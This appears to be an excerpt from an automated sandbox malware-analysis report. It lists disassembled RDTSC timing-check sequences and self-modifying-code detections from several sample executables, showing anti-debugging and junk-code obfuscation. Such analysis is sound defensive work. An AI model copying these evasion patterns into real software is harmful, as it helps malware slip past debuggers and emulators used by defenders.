Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 62A711 second address: 62A72E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F2Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pushad 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 62A72E second address: 62A734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 62B1F3 second address: 62B1F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 62B50B second address: 62B524 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6A8934DFA5h 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 62F512 second address: 62F516 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 62F679 second address: 62F6A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 ja 00007F6A8934DFA7h 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 push eax 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 62F6A5 second address: 62F6A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 62F6A9 second address: 62F6AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 62F6AD second address: 62F6BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 62F6BC second address: 62F6C2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 62F6C2 second address: 62F6C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 62F6C8 second address: 62F6EA instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F6A8934DF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp+04h], eax 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F6A8934DF9Fh 0x00000018 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 62F839 second address: 62F85C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edi 0x00000006 mov eax, dword ptr [eax] 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b js 00007F6A88D62F26h 0x00000011 jmp 00007F6A88D62F31h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 5F999D second address: 5F99A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007F6A8934DF96h 0x0000000c rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 6381D7 second address: 6381EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jns 00007F6A88D62F28h 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e push ebx 0x0000000f je 00007F6A88D62F2Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 6378B7 second address: 6378BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 6378BD second address: 6378C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 6378C1 second address: 6378CC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 637CE1 second address: 637D0F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F2Ch 0x00000007 jmp 00007F6A88D62F32h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pop esi 0x0000000f push esi 0x00000010 js 00007F6A88D62F2Eh 0x00000016 push ecx 0x00000017 pop ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 637D0F second address: 637D2F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jmp 00007F6A8934DFA9h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 637D2F second address: 637D42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6A88D62F2Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 637E87 second address: 637EC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F6A8934DF9Eh 0x0000000b jmp 00007F6A8934DFA3h 0x00000010 popad 0x00000011 pushad 0x00000012 jmp 00007F6A8934DFA2h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 638054 second address: 63805A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 63805A second address: 638060 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 639BEE second address: 639BFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6A88D62F2Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 63A13B second address: 63A142 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 63A142 second address: 63A148 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 63A200 second address: 63A206 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 63A2D6 second address: 63A2F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 63A2F3 second address: 63A30A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jnl 00007F6A8934DF9Ch 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 63A369 second address: 63A373 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F6A88D62F26h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 63A9D4 second address: 63A9F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A8934DFA9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 63AA8C second address: 63AAA2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A88D62F32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 63AC8A second address: 63AC8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 63AC8E second address: 63AC98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 63AC98 second address: 63AC9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 63AE0D second address: 63AE12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 63CAE9 second address: 63CB4A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jo 00007F6A8934DF96h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jnc 00007F6A8934DFA4h 0x00000013 nop 0x00000014 push 00000000h 0x00000016 push ebp 0x00000017 call 00007F6A8934DF98h 0x0000001c pop ebp 0x0000001d mov dword ptr [esp+04h], ebp 0x00000021 add dword ptr [esp+04h], 0000001Dh 0x00000029 inc ebp 0x0000002a push ebp 0x0000002b ret 0x0000002c pop ebp 0x0000002d ret 0x0000002e sub si, BC74h 0x00000033 push 00000000h 0x00000035 add dword ptr [ebp+122D1A20h], eax 0x0000003b push 00000000h 0x0000003d mov esi, dword ptr [ebp+122D2B2Bh] 0x00000043 xchg eax, ebx 0x00000044 push ecx 0x00000045 push ebx 0x00000046 push eax 0x00000047 push edx 0x00000048 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 63CB4A second address: 63CB56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 63E6A9 second address: 63E6AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 63ED4E second address: 63ED54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 63ED54 second address: 63EDCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 nop 0x00000007 jnc 00007F6A8934DF99h 0x0000000d movzx esi, ax 0x00000010 push 00000000h 0x00000012 push ebx 0x00000013 jns 00007F6A8934DF9Ch 0x00000019 pop esi 0x0000001a sub dword ptr [ebp+122D1BDBh], ebx 0x00000020 push 00000000h 0x00000022 push 00000000h 0x00000024 push ebp 0x00000025 call 00007F6A8934DF98h 0x0000002a pop ebp 0x0000002b mov dword ptr [esp+04h], ebp 0x0000002f add dword ptr [esp+04h], 0000001Ch 0x00000037 inc ebp 0x00000038 push ebp 0x00000039 ret 0x0000003a pop ebp 0x0000003b ret 0x0000003c pushad 0x0000003d push eax 0x0000003e mov esi, dword ptr [ebp+122D2ED9h] 0x00000044 pop esi 0x00000045 je 00007F6A8934DFA8h 0x0000004b jmp 00007F6A8934DFA2h 0x00000050 popad 0x00000051 push eax 0x00000052 push eax 0x00000053 push edx 0x00000054 pushad 0x00000055 pushad 0x00000056 popad 0x00000057 pushad 0x00000058 popad 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 63F7D9 second address: 63F7DF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 63F7DF second address: 63F7E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 63F7E5 second address: 63F7E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 64024F second address: 640254 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 63C3EA second address: 63C3F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 63C3F7 second address: 63C3FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 640CAF second address: 640CB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 640CB3 second address: 640D35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a push 00000000h 0x0000000c push edx 0x0000000d call 00007F6A8934DF98h 0x00000012 pop edx 0x00000013 mov dword ptr [esp+04h], edx 0x00000017 add dword ptr [esp+04h], 00000016h 0x0000001f inc edx 0x00000020 push edx 0x00000021 ret 0x00000022 pop edx 0x00000023 ret 0x00000024 pushad 0x00000025 mov dword ptr [ebp+122D318Ch], esi 0x0000002b or ecx, dword ptr [ebp+122D2A3Bh] 0x00000031 popad 0x00000032 jmp 00007F6A8934DFA5h 0x00000037 push 00000000h 0x00000039 jl 00007F6A8934DF98h 0x0000003f push 00000000h 0x00000041 push 00000000h 0x00000043 push ecx 0x00000044 call 00007F6A8934DF98h 0x00000049 pop ecx 0x0000004a mov dword ptr [esp+04h], ecx 0x0000004e add dword ptr [esp+04h], 00000018h 0x00000056 inc ecx 0x00000057 push ecx 0x00000058 ret 0x00000059 pop ecx 0x0000005a ret 0x0000005b xchg eax, ebx 0x0000005c push eax 0x0000005d push edx 0x0000005e jno 00007F6A8934DF98h 0x00000064 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 648936 second address: 648947 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F6A88D62F26h 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 648947 second address: 648951 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6A8934DF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 64A852 second address: 64A8AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 sub dword ptr [ebp+124712F2h], edi 0x0000000c push 00000000h 0x0000000e pushad 0x0000000f mov ax, D800h 0x00000013 mov esi, dword ptr [ebp+122D2100h] 0x00000019 popad 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push eax 0x0000001f call 00007F6A88D62F28h 0x00000024 pop eax 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 add dword ptr [esp+04h], 0000001Ah 0x00000031 inc eax 0x00000032 push eax 0x00000033 ret 0x00000034 pop eax 0x00000035 ret 0x00000036 jns 00007F6A88D62F26h 0x0000003c push eax 0x0000003d pushad 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007F6A88D62F33h 0x00000045 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 64A8AD second address: 64A8CC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6A8934DFA7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 64B770 second address: 64B7DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push ebx 0x00000006 jmp 00007F6A88D62F34h 0x0000000b pop ebx 0x0000000c popad 0x0000000d push eax 0x0000000e jnc 00007F6A88D62F34h 0x00000014 nop 0x00000015 push edi 0x00000016 movzx ebx, ax 0x00000019 pop ebx 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push edx 0x0000001f call 00007F6A88D62F28h 0x00000024 pop edx 0x00000025 mov dword ptr [esp+04h], edx 0x00000029 add dword ptr [esp+04h], 00000014h 0x00000031 inc edx 0x00000032 push edx 0x00000033 ret 0x00000034 pop edx 0x00000035 ret 0x00000036 push 00000000h 0x00000038 jc 00007F6A88D62F2Eh 0x0000003e push ecx 0x0000003f mov ebx, dword ptr [ebp+122D2C53h] 0x00000045 pop edi 0x00000046 xchg eax, esi 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c pop eax 0x0000004d rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 64B7DC second address: 64B7E2 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 64B7E2 second address: 64B7E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 64B7E8 second address: 64B7EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 64B7EC second address: 64B803 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6A88D62F2Bh 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 64B803 second address: 64B812 instructions: 0x00000000 rdtsc 0x00000002 js 00007F6A8934DF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 64C84F second address: 64C874 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F6A88D62F26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c jbe 00007F6A88D62F3Eh 0x00000012 pushad 0x00000013 jmp 00007F6A88D62F30h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 64C874 second address: 64C909 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push esi 0x00000009 call 00007F6A8934DF98h 0x0000000e pop esi 0x0000000f mov dword ptr [esp+04h], esi 0x00000013 add dword ptr [esp+04h], 00000019h 0x0000001b inc esi 0x0000001c push esi 0x0000001d ret 0x0000001e pop esi 0x0000001f ret 0x00000020 xor edi, 785CC005h 0x00000026 jbe 00007F6A8934DF9Ch 0x0000002c mov dword ptr [ebp+122D2606h], edx 0x00000032 push 00000000h 0x00000034 pushad 0x00000035 pushad 0x00000036 jmp 00007F6A8934DF9Eh 0x0000003b mov ecx, dword ptr [ebp+12448B04h] 0x00000041 popad 0x00000042 jno 00007F6A8934DF96h 0x00000048 popad 0x00000049 clc 0x0000004a push 00000000h 0x0000004c sub dword ptr [ebp+12456CBBh], esi 0x00000052 xchg eax, esi 0x00000053 pushad 0x00000054 pushad 0x00000055 push ebx 0x00000056 pop ebx 0x00000057 jbe 00007F6A8934DF96h 0x0000005d popad 0x0000005e push eax 0x0000005f jmp 00007F6A8934DFA9h 0x00000064 pop eax 0x00000065 popad 0x00000066 push eax 0x00000067 push eax 0x00000068 push edx 0x00000069 push ebx 0x0000006a jno 00007F6A8934DF96h 0x00000070 pop ebx 0x00000071 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 64D835 second address: 64D839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 64D839 second address: 64D856 instructions: 0x00000000 rdtsc 0x00000002 je 00007F6A8934DF96h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6A8934DFA0h 0x00000012 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 6509C4 second address: 6509CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 6509CA second address: 6509CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 6509CE second address: 6509E9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007F6A88D62F30h 0x00000011 jmp 00007F6A88D62F2Ah 0x00000016 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 650A8B second address: 650A8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 651904 second address: 65191C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F6A88D62F33h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 6528D5 second address: 6528DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 6528DA second address: 6528E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F6A88D62F26h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	RDTSC instruction interceptor: First address: 656FEF second address: 656FF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BAFAAA instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BAFB97 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D4DE39 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D77DD8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: D62677 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: DDDBD5 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Special instruction interceptor: First address: 62F5C8 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Special instruction interceptor: First address: 62DDB5 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Special instruction interceptor: First address: 65B825 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Special instruction interceptor: First address: 645898 instructions caused by: Self-modifying code
Source: C:\Users\user\DocumentsFBFCAKKKFB.exe	Special instruction interceptor: First address: 6C595F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 80F5C8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 80DDB5 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 83B825 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 825898 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 8A595F instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Special instruction interceptor: First address: 45C917 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1008911001\7mpPLxE.exe	Special instruction interceptor: First address: 6048EC instructions caused by: Self-modifying code
